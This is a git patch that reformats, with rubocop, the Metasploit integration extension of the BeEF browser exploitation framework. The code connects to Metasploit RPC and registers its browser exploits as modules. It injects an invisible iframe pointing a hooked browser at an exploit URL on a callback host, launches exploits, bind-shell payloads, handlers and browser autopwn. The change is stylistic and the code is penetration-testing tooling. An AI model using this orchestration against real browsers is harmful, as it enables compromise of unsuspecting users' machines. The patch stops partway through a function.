From a26653719c6f2f4f679ce6f83c1d96537bc9a11b Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 26 Jan 2021 08:21:36 +0000 Subject: [PATCH] rubocop -a extensions/metasploit --- extensions/metasploit/api.rb | 274 +++++++++--------- extensions/metasploit/extension.rb | 146 +++++----- extensions/metasploit/module.rb | 26 +- extensions/metasploit/rest/msf.rb | 117 ++++---- extensions/metasploit/rpcclient.rb | 450 ++++++++++++++--------------- 5 files changed, 495 insertions(+), 518 deletions(-) diff --git a/extensions/metasploit/api.rb b/extensions/metasploit/api.rb index 42b471e1a..d934adaa5 100644 --- a/extensions/metasploit/api.rb +++ b/extensions/metasploit/api.rb @@ -7,9 +7,7 @@ module BeEF module Extension module Metasploit module API - module MetasploitHooks - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load') BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler') @@ -20,124 +18,126 @@ module BeEF timeout = 10 connected = false Timeout.timeout(timeout) do + print_status("Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}") + connected = msf.login + rescue Timeout::Error + return + end + + return unless connected + + msf_module_config = {} + path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache" + if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path) + print_debug 'Attempting to use Metasploit exploits cache file' + raw = File.read(path) begin - print_status "Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}" - connected = msf.login - rescue Timeout::Error - return + msf_module_config = YAML.safe_load(raw) + rescue StandardError => e + print_error "[Metasploit] #{e.message}" + print_error e.backtrace + end + count = 1 + msf_module_config.each do |k, _v| + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil]) + print_over "Loaded #{count} Metasploit exploits." + count += 1 + end + print "\r\n" + else + msf_modules = msf.call('module.exploits') + count = 1 + msf_modules['modules'].each do |m| + next unless m.include? '/browser/' + + m_details = msf.call('module.info', 'exploit', m) + next unless m_details + + key = 'msf_' + m.split('/').last + # system currently doesn't support multilevel categories + # categories = ['Metasploit'] + # m.split('/')[0...-1].each{|c| + # categories.push(c.capitalize) + # } + + if m_details['description'] =~ /Java|JVM|flash|Adobe/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] } + elsif m_details['description'] =~ /IE|Internet\s+Explorer/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] } + elsif m_details['description'] =~ /Firefox/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] } + elsif m_details['description'] =~ /Chrome/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] } + elsif m_details['description'] =~ /Safari/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] } + elsif m_details['description'] =~ /Opera/i + target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] } + end + # TODO: + # - Add support for detection of target OS + # - Add support for detection of target services (e.g. java, flash, silverlight, ...etc) + # - Add support for multiple target browsers as currently only 1 browser will match or all + + msf_module_config[key] = { + 'enable' => true, + 'msf' => true, + 'msf_key' => m, + 'name' => m_details['name'], + 'category' => 'Metasploit', + 'description' => m_details['description'], + 'authors' => m_details['references'], + 'path' => path, + 'class' => 'Msf_module', + 'target' => target_browser + } + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil]) + BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil]) + print_over "Loaded #{count} Metasploit exploits." + count += 1 + end + print "\r\n" + File.open(path, 'w') do |f| + f.write(msf_module_config.to_yaml) + print_debug("Wrote Metasploit exploits to cache file: #{path}") end end - if connected - msf_module_config = {} - path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache" - if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path) - print_debug 'Attempting to use Metasploit exploits cache file' - raw = File.read(path) - begin - msf_module_config = YAML.safe_load(raw) - rescue => e - print_error "[Metasploit] #{e.message}" - print_error e.backtrace - end - count = 1 - msf_module_config.each { |k, v| - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil]) - print_over "Loaded #{count} Metasploit exploits." - count += 1 - } - print "\r\n" - else - msf_modules = msf.call('module.exploits') - count = 1 - msf_modules['modules'].each { |m| - next if !m.include? "/browser/" - m_details = msf.call('module.info', 'exploit', m) - if m_details - key = 'msf_'+m.split('/').last - # system currently doesn't support multilevel categories - #categories = ['Metasploit'] - #m.split('/')[0...-1].each{|c| - # categories.push(c.capitalize) - #} - - if m_details['description'] =~ /Java|JVM|flash|Adobe/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ["ALL"]} - elsif m_details['description'] =~ /IE|Internet\s+Explorer/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["IE"]} - elsif m_details['description'] =~ /Firefox/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["FF"]} - elsif m_details['description'] =~ /Chrome/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["C"]} - elsif m_details['description'] =~ /Safari/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["S"]} - elsif m_details['description'] =~ /Opera/i - target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["O"]} - end - #TODO: - # - Add support for detection of target OS - # - Add support for detection of target services (e.g. java, flash, silverlight, ...etc) - # - Add support for multiple target browsers as currently only 1 browser will match or all - - - - msf_module_config[key] = { - 'enable' => true, - 'msf' => true, - 'msf_key' => m, - 'name' => m_details['name'], - 'category' => 'Metasploit', - 'description'=> m_details['description'], - 'authors' => m_details['references'], - 'path' => path, - 'class' => 'Msf_module', - 'target' => target_browser - } - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil]) - BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil]) - print_over "Loaded #{count} Metasploit exploits." - count += 1 - end - } - print "\r\n" - File.open(path, "w") do |f| - f.write(msf_module_config.to_yaml) - print_debug "Wrote Metasploit exploits to cache file: #{path}" - end - end - BeEF::Core::Configuration.instance.set('beef.module', msf_module_config) - end + BeEF::Core::Configuration.instance.set('beef.module', msf_module_config) end # Get module options + payloads when the beef framework requests this information def self.get_options(mod) msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") + return if msf_key.nil? + msf = BeEF::Extension::Metasploit::RpcClient.instance - if msf_key != nil && msf.login - msf_module_options = msf.call('module.options', 'exploit', msf_key) - com = BeEF::Core::Models::CommandModule.where(:name => mod).first - if msf_module_options - options = BeEF::Extension::Metasploit.translate_options(msf_module_options) - options << { - 'name' => 'mod_id', - 'id' => 'mod_id', - 'type' => 'hidden', - 'value' => com.id - } - msf_payload_options = msf.call('module.compatible_payloads', msf_key) - if msf_payload_options - options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) - return options - else - print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" - end - else - print_error "Unable to retrieve metasploit options for exploit: #{msf_key}" - end + return unless msf.login + + msf_module_options = msf.call('module.options', 'exploit', msf_key) + com = BeEF::Core::Models::CommandModule.where(name: mod).first + unless msf_module_options + print_error "Unable to retrieve metasploit options for exploit: #{msf_key}" + return end + + options = BeEF::Extension::Metasploit.translate_options(msf_module_options) + options << { + 'name' => 'mod_id', + 'id' => 'mod_id', + 'type' => 'hidden', + 'value' => com.id + } + + msf_payload_options = msf.call('module.compatible_payloads', msf_key) + unless msf_payload_options + print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" + end + + options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options) + options end # Execute function for all metasploit exploits @@ -146,60 +146,58 @@ module BeEF msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") msf_opts = {} - opts.each { |opt| - next if ['e', 'ie_session', 'and_module_id'].include? opt['name'] - msf_opts[opt["name"]] = opt["value"] - } + opts.each do |opt| + next if %w[e ie_session and_module_id].include? opt['name'] - if msf_key != nil && msf.login + msf_opts[opt['name']] = opt['value'] + end + + if !msf_key.nil? && msf.login # Are the options correctly formatted for msf? # This call has not been tested msf.call('module.execute', 'exploit', msf_key, msf_opts) end hb = BeEF::HBManager.get_by_session(hbsession) - if !hb + unless hb print_error "Could not find hooked browser when attempting to execute module '#{mod}'" return false end bopts = [] - if msf_opts['SSL'] - proto = 'https' - else - proto = 'http' - end + proto = msf_opts['SSL'] ? 'https' : 'http' config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') - uri = proto + '://' + config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH'] + uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}" - - bopts << {:sploit_url => uri} - c = BeEF::Core::Models::Command.new(:data => bopts.to_json, - :hooked_browser_id => hb.id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), - :creationdate => Time.new.to_i + bopts << { sploit_url: uri } + c = BeEF::Core::Models::Command.new( + data: bopts.to_json, + hooked_browser_id: hb.id, + command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), + creationdate: Time.new.to_i ).save # Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of # which exploits where executed against which hooked browsers - return true + true end # Get module options + payloads when the beef framework requests this information def self.get_payload_options(mod, payload) msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key") - msf = BeEF::Extension::Metasploit::RpcClient.instance - if msf_key != nil && msf.login - msf_module_options = msf.call('module.options', 'payload', payload) + return if msf_key.nil? - com = BeEF::Core::Models::CommandModule.where(:name => mod).first - if msf_module_options - options = BeEF::Extension::Metasploit.translate_options(msf_module_options) - return options - else - print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}" - end + msf = BeEF::Extension::Metasploit::RpcClient.instance + + return unless msf.login + + msf_module_options = msf.call('module.options', 'payload', payload) + + if msf_module_options + BeEF::Extension::Metasploit.translate_options(msf_module_options) + else + print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}" end end diff --git a/extensions/metasploit/extension.rb b/extensions/metasploit/extension.rb index 2238c73e0..a769f9299 100644 --- a/extensions/metasploit/extension.rb +++ b/extensions/metasploit/extension.rb @@ -4,88 +4,88 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Metasploit - extend BeEF::API::Extension + module Extension + module Metasploit + extend BeEF::API::Extension - @short_name = 'msf' - @full_name = 'Metasploit' - @description = 'Metasploit integration' + @short_name = 'msf' + @full_name = 'Metasploit' + @description = 'Metasploit integration' - # Translates msf exploit options to beef options array - def self.translate_options(msf_options) - callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host') + # Translates msf exploit options to beef options array + def self.translate_options(msf_options) + callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host') - options = [] - msf_options.each do |k, v| - next if v['advanced'] == true - next if v['evasion'] == true + options = [] + msf_options.each do |k, v| + next if v['advanced'] == true + next if v['evasion'] == true - v['allowBlank'] = 'true' if v['required'] == false + v['allowBlank'] = 'true' if v['required'] == false - case v['type'] - when 'string', 'address', 'port', 'integer' - v['type'] = 'text' - if k == 'URIPATH' - v['value'] = rand(3**20).to_s(16) - elsif k == 'LHOST' - v['value'] = callback_host - else - v['value'] = v['default'] + case v['type'] + when 'string', 'address', 'port', 'integer' + v['type'] = 'text' + v['value'] = if k == 'URIPATH' + rand(3**20).to_s(16) + elsif k == 'LHOST' + callback_host + else + v['default'] + end + when 'bool' + v['type'] = 'checkbox' + when 'enum' + v['type'] = 'combobox' + v['store_type'] = 'arraystore', + v['store_fields'] = ['enum'], + v['store_data'] = translate_enums(v['enums']), + v['value'] = v['default'] + v['valueField'] = 'enum', + v['displayField'] = 'enum', + v['autoWidth'] = true, + v['mode'] = 'local' + end + v['name'] = k + v['label'] = k + options << v end - when 'bool' - v['type'] = 'checkbox' - when 'enum' - v['type'] = 'combobox' - v['store_type'] = 'arraystore', - v['store_fields'] = ['enum'], - v['store_data'] = translate_enums(v['enums']), - v['value'] = v['default'] - v['valueField'] = 'enum', - v['displayField'] = 'enum', - v['autoWidth'] = true, - v['mode'] = 'local' + + options + end + + # Translates msf payloads to a beef compatible drop down + def self.translate_payload(payloads) + return unless payloads.key?('payloads') + + values = translate_enums(payloads['payloads']) + + default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first + + return unless values.length.positive? + + { + 'name' => 'PAYLOAD', + 'type' => 'combobox', + 'ui_label' => 'Payload', + 'store_type' => 'arraystore', + 'store_fields' => ['payload'], + 'store_data' => values, + 'valueField' => 'payload', + 'displayField' => 'payload', + 'mode' => 'local', + 'autoWidth' => true, + 'defaultPayload' => default_payload, + 'reloadOnChange' => true + } + end + + # Translates metasploit enums to ExtJS combobox store_data + def self.translate_enums(enums) + enums.map { |e| [e] } end - v['name'] = k - v['label'] = k - options << v end - - options end - - # Translates msf payloads to a beef compatible drop down - def self.translate_payload(payloads) - return unless payloads.key?('payloads') - - values = translate_enums(payloads['payloads']) - - default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first - - return unless values.length.positive? - - { - 'name' => 'PAYLOAD', - 'type' => 'combobox', - 'ui_label' => 'Payload', - 'store_type' => 'arraystore', - 'store_fields' => ['payload'], - 'store_data' => values, - 'valueField' => 'payload', - 'displayField' => 'payload', - 'mode' => 'local', - 'autoWidth' => true, - 'defaultPayload' => default_payload, - 'reloadOnChange' => true - } - end - - # Translates metasploit enums to ExtJS combobox store_data - def self.translate_enums(enums) - enums.map{|e| [e]} - end -end -end end require 'msfrpc-client' diff --git a/extensions/metasploit/module.rb b/extensions/metasploit/module.rb index 7f066a230..3b415bc0d 100644 --- a/extensions/metasploit/module.rb +++ b/extensions/metasploit/module.rb @@ -6,25 +6,23 @@ # This is a dummy module to fool BeEF's loading system class Msf_module < BeEF::Core::Command - def output + def output + command = BeEF::Core::Models::Command.find(@command_id) + data = JSON.parse(command['data']) + sploit_url = data[0]['sploit_url'] - command = BeEF::Core::Models::Command.find(@command_id) - data = JSON.parse(command['data']) - sploit_url = data[0]['sploit_url'] - - return " + " beef.execute(function() { - var result; + var result; - try { + try { var sploit = beef.dom.createInvisibleIframe(); sploit.src = '#{sploit_url}'; - } catch(e) { - for(var n in e) - result+= n + ' ' + e[n] ; - } + } catch(e) { + for(var n in e) + result+= n + ' ' + e[n] ; + } });" - end - + end end diff --git a/extensions/metasploit/rest/msf.rb b/extensions/metasploit/rest/msf.rb index b786e50de..ab8709b46 100644 --- a/extensions/metasploit/rest/msf.rb +++ b/extensions/metasploit/rest/msf.rb @@ -1,4 +1,4 @@ -require_relative '../../../core/main/router/router.rb' +require_relative '../../../core/main/router/router' # # Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com @@ -7,10 +7,8 @@ require_relative '../../../core/main/router/router.rb' module BeEF module Extension module Metasploit - # This class handles the routing of RESTful API requests for Metasploit integration class MsfRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do @msf ||= BeEF::Extension::Metasploit::RpcClient.instance @@ -28,48 +26,43 @@ module BeEF # Returns version of Metasploit get '/version' do - begin - version = @msf.call('core.version') - result = {} - result[:version] = version - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving Metasploit version (#{e.message})" - halt 500 - end + version = @msf.call('core.version') + result = {} + result[:version] = version + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving Metasploit version (#{e.message})" + halt 500 end # Returns all the jobs get '/jobs' do - begin - jobs = @msf.call('job.list') - count = jobs.size + jobs = @msf.call('job.list') + count = jobs.size - result = {} - result[:count] = count - result[:jobs] = jobs - result.to_json - rescue StandardError => e - print_error "Internal error while retrieving Metasploit job list (#{e.message})" - halt 500 - end + result = {} + result[:count] = count + result[:jobs] = jobs + result.to_json + rescue StandardError => e + print_error "Internal error while retrieving Metasploit job list (#{e.message})" + halt 500 end # Returns information about a specific job given its id get '/job/:id/info' do - begin - id = params[:id] - raise InvalidParamError, 'id' if id !~ /\A\d+\Z/ - job = @msf.call('job.info', id) - halt 404 if job.nil? - job.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving Metasploit job with ID #{id} (#{e.message})" - halt 500 - end + id = params[:id] + raise InvalidParamError, 'id' if id !~ /\A\d+\Z/ + + job = @msf.call('job.info', id) + halt 404 if job.nil? + job.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving Metasploit job with ID #{id} (#{e.message})" + halt 500 end # Stops a job given its id @@ -80,7 +73,7 @@ module BeEF raise InvalidParamError, 'id' if id !~ /\A\d+\Z/ removed = @msf.call('job.stop', id) - if !removed.nil? + unless removed.nil? result['success'] = removed print_info "[Metasploit] Stopped job [id: #{id}]" end @@ -96,56 +89,48 @@ module BeEF # Starts a new msf payload handler post '/handler' do - begin - body = JSON.parse(request.body.read) - handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body) - result = {} - # example response: {"job_id"=>0, "uuid"=>"oye0kmpr"} - if handler.nil? || handler['job_id'].nil? - print_error "[Metasploit] Could not start payload handler" - result['success'] = false - else - print_info "[Metasploit] Started job [id: #{handler['job_id']}]" - print_debug "#{@msf.call('job.info', handler['job_id'])}" - result['success'] = true - result['id'] = handler['job_id'] - end - result.to_json - rescue InvalidJsonError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while creating exploit handler (#{e.message})" - halt 500 + body = JSON.parse(request.body.read) + handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body) + result = {} + # example response: {"job_id"=>0, "uuid"=>"oye0kmpr"} + if handler.nil? || handler['job_id'].nil? + print_error '[Metasploit] Could not start payload handler' + result['success'] = false + else + print_info "[Metasploit] Started job [id: #{handler['job_id']}]" + print_debug @msf.call('job.info', handler['job_id']).to_s + result['success'] = true + result['id'] = handler['job_id'] end + result.to_json + rescue InvalidJsonError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while creating exploit handler (#{e.message})" + halt 500 end # Raised when invalid JSON input is passed to an /api/msf handler. class InvalidJsonError < StandardError - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler' def initialize(message = nil) super(message || DEFAULT_MESSAGE) end - end # Raised when an invalid named parameter is passed to an /api/msf handler. class InvalidParamError < StandardError - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler' def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/msf handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/msf handler' + message = format str, message unless message.nil? super(message) end - end - end - end end end diff --git a/extensions/metasploit/rpcclient.rb b/extensions/metasploit/rpcclient.rb index 6e365a042..5b45f8a07 100644 --- a/extensions/metasploit/rpcclient.rb +++ b/extensions/metasploit/rpcclient.rb @@ -4,260 +4,256 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Metasploit - class RpcClient < ::Msf::RPC::Client - include Singleton + module Extension + module Metasploit + class RpcClient < ::Msf::RPC::Client + include Singleton - def initialize - @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') + def initialize + @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit') - unless @config.key?('host') || @config.key?('uri') || @config.key?('port') || - @config.key?('user') || @config.key?('pass') - print_error 'There is not enough information to initalize Metasploit connectivity at this time' - print_error 'Please check your options in config.yaml to verify that all information is present' - BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false) - BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false) - return - end - - @lock = false - @lastauth = nil - @unit_test = false - @msf_path = nil - - opts = { - :host => @config['host'] || '127.0.0.1', - :port => @config['port'] || 55552, - :uri => @config['uri'] || '/api/', - :ssl => @config['ssl'], - :ssl_version => @config['ssl_version'], - :context => {} - } - - if opts[:ssl_version].match?(/SSLv3/i) - print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.' - end - - if @config['auto_msfrpcd'] - @config['msf_path'].each do |path| - if File.exist? "#{path['path']}/msfrpcd" - @msf_path = "#{path['path']}/msfrpcd" + unless @config.key?('host') || @config.key?('uri') || @config.key?('port') || + @config.key?('user') || @config.key?('pass') + print_error 'There is not enough information to initalize Metasploit connectivity at this time' + print_error 'Please check your options in config.yaml to verify that all information is present' + BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false) + BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false) + return end + + @lock = false + @lastauth = nil + @unit_test = false + @msf_path = nil + + opts = { + host: @config['host'] || '127.0.0.1', + port: @config['port'] || 55_552, + uri: @config['uri'] || '/api/', + ssl: @config['ssl'], + ssl_version: @config['ssl_version'], + context: {} + } + + print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.' if opts[:ssl_version].match?(/SSLv3/i) + + if @config['auto_msfrpcd'] + @config['msf_path'].each do |path| + @msf_path = "#{path['path']}/msfrpcd" if File.exist? "#{path['path']}/msfrpcd" + end + + if @msf_path.nil? + print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.' + return + end + + print_info "[Metasploit] Found msfrpcd: #{@msf_path}" + + return unless launch_msfrpcd(opts) + end + + super(opts) end - if @msf_path.nil? - print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.' - return + # + # @note auto start msfrpcd + # + def launch_msfrpcd(opts) + if opts[:ssl] + argssl = '-S' + proto = 'http' + else + argssl = '' + proto = 'https' + end + + msf_url = "#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}" + + child = IO.popen([ + @msf_path, + '-f', + argssl, + '-P', @config['pass'], + '-U', @config['user'], + '-u', opts[:uri], + '-a', opts[:host], + '-p', opts[:port].to_s + ], 'r+') + + print_info "[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}" + + # Give daemon time to launch + # poll and giveup after timeout + retries = @config['auto_msfrpcd_timeout'] + uri = URI(msf_url) + http = Net::HTTP.new(uri.host, uri.port) + + if opts[:ssl] + http.use_ssl = true + http.ssl_version = opts[:ssl_version] + end + + http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config['ssl_verify'] + + headers = { 'Content-Type' => 'binary/message-pack' } + path = uri.path.empty? ? '/' : uri.path + + begin + sleep 1 + code = http.head(path, headers).code.to_i + print_debug "[Metasploit] Success - HTTP response: #{code}" + rescue StandardError => e + retry if (retries -= 1).positive? + end + + true end - print_info "[Metasploit] Found msfrpcd: #{@msf_path}" + def get_lock + sleep 0.2 while @lock + @lock = true + end - return unless launch_msfrpcd(opts) - end + def release_lock + @lock = false + end - super(opts) - end + def call(meth, *args) + super(meth, *args) + rescue StandardError => e + print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}" + print_error e.backtrace + nil + end - # - # @note auto start msfrpcd - # - def launch_msfrpcd(opts) - if opts[:ssl] - argssl = '-S' - proto = 'http' - else - argssl = '' - proto = 'https' - end + def unit_test_init + @unit_test = true + end - msf_url = "#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}" + # login to metasploit + def login + get_lock - child = IO.popen([ - @msf_path, - '-f', - argssl, - '-P' , @config['pass'], - '-U' , @config['user'], - '-u' , opts[:uri], - '-a' , opts[:host], - '-p' , opts[:port].to_s - ], 'r+') - - print_info "[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}" + res = super(@config['user'], @config['pass']) - # Give daemon time to launch - # poll and giveup after timeout - retries = @config['auto_msfrpcd_timeout'] - uri = URI(msf_url) - http = Net::HTTP.new(uri.host, uri.port) + unless res + print_error '[Metasploit] Could not authenticate to Metasploit RPC sevrice.' + return false + end - if opts[:ssl] - http.use_ssl = true - http.ssl_version = opts[:ssl_version] - end + unless @lastauth + print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test + print_debug "[Metasploit] Received temporary token: #{token}" - unless @config['ssl_verify'] - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end + # Generate permanent token + new_token = token_generate + if new_token.nil? + print_warning '[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes.' + else + self.token = new_token + print_debug "[Metasploit] Received permanent token: #{token}" + end + end + @lastauth = Time.now - headers = { 'Content-Type' => 'binary/message-pack' } - path = uri.path.empty? ? '/' : uri.path + true + ensure + release_lock + end - begin - sleep 1 - code = http.head(path, headers).code.to_i - print_debug "[Metasploit] Success - HTTP response: #{code}" - rescue => e - retry if (retries -= 1).positive? - end + # generate a permanent auth token + def token_generate + res = call('auth.token_generate') - true - end + return unless res || res['token'] - def get_lock - sleep 0.2 while @lock - @lock = true - end - - def release_lock - @lock = false - end + res['token'] + end - def call(meth, *args) - super(meth, *args) - rescue => e - print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}" - print_error e.backtrace - return - end - - def unit_test_init - @unit_test = true - end + def browser_exploits + get_lock + res = call('module.exploits') - # login to metasploit - def login - get_lock + return [] unless res || res['modules'] - res = super(@config['user'], @config['pass']) + res['modules'].select { |m| m.include?('/browser/') }.sort + ensure + release_lock + end - unless res - print_error '[Metasploit] Could not authenticate to Metasploit RPC sevrice.' - return false - end + def get_exploit_info(name) + get_lock + res = call('module.info', 'exploit', name) + res || {} + ensure + release_lock + end - unless @lastauth - print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test - print_debug "[Metasploit] Received temporary token: #{token}" + def get_payloads(name) + get_lock + res = call('module.compatible_payloads', name) + res || {} + ensure + release_lock + end - # Generate permanent token - new_token = token_generate - if new_token.nil? - print_warning "[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes." - else - self.token = new_token - print_debug "[Metasploit] Received permanent token: #{token}" + def get_options(name) + get_lock + res = call('module.options', 'exploit', name) + res || {} + ensure + release_lock + end + + def payloads + get_lock + res = call('module.payloads') + return {} unless res || res['modules'] + + res['modules'] + ensure + release_lock + end + + def payload_options(name) + get_lock + res = call('module.options', 'payload', name) + return {} unless res + + res + rescue StandardError => e + {} + ensure + release_lock + end + + def launch_exploit(exploit, opts) + get_lock + res = call('module.execute', 'exploit', exploit, opts) + proto = opts['SSL'] ? 'https' : 'http' + res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}" + res + rescue StandardError => e + print_error "Exploit failed for #{exploit} \n" + false + ensure + release_lock + end + + def launch_autopwn + opts = { + 'LHOST' => @config['callback_host'], + 'URIPATH' => @apurl + } + get_lock + call('module.execute', 'auxiliary', 'server/browser_autopwn', opts) + rescue StandardError => e + print_error 'Failed to launch autopwn' + false + ensure + release_lock end end - @lastauth = Time.now - - true - ensure - release_lock - end - - # generate a permanent auth token - def token_generate - res = call('auth.token_generate') - - return unless res || res['token'] - - res['token'] - end - - def browser_exploits - get_lock - res = call('module.exploits') - - return [] unless res || res['modules'] - - res['modules'].select{|m| m.include?('/browser/') }.sort - ensure - release_lock - end - - def get_exploit_info(name) - get_lock - res = call('module.info', 'exploit', name) - res || {} - ensure - release_lock - end - - def get_payloads(name) - get_lock - res = call('module.compatible_payloads', name) - res || {} - ensure - release_lock - end - - def get_options(name) - get_lock - res = call('module.options', 'exploit', name) - res || {} - ensure - release_lock - end - - def payloads - get_lock - res = call('module.payloads') - return {} unless res || res['modules'] - res['modules'] - ensure - release_lock - end - - def payload_options(name) - get_lock - res = call('module.options', 'payload', name) - return {} unless res - res - rescue => e - return {} - ensure - release_lock - end - - def launch_exploit(exploit, opts) - get_lock - res = call('module.execute', 'exploit', exploit, opts) - proto = opts['SSL'] ? 'https' : 'http' - res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}" - res - rescue => e - print_error "Exploit failed for #{exploit} \n" - return false - ensure - release_lock - end - - def launch_autopwn - opts = { - 'LHOST' => @config['callback_host'], - 'URIPATH' => @apurl - } - 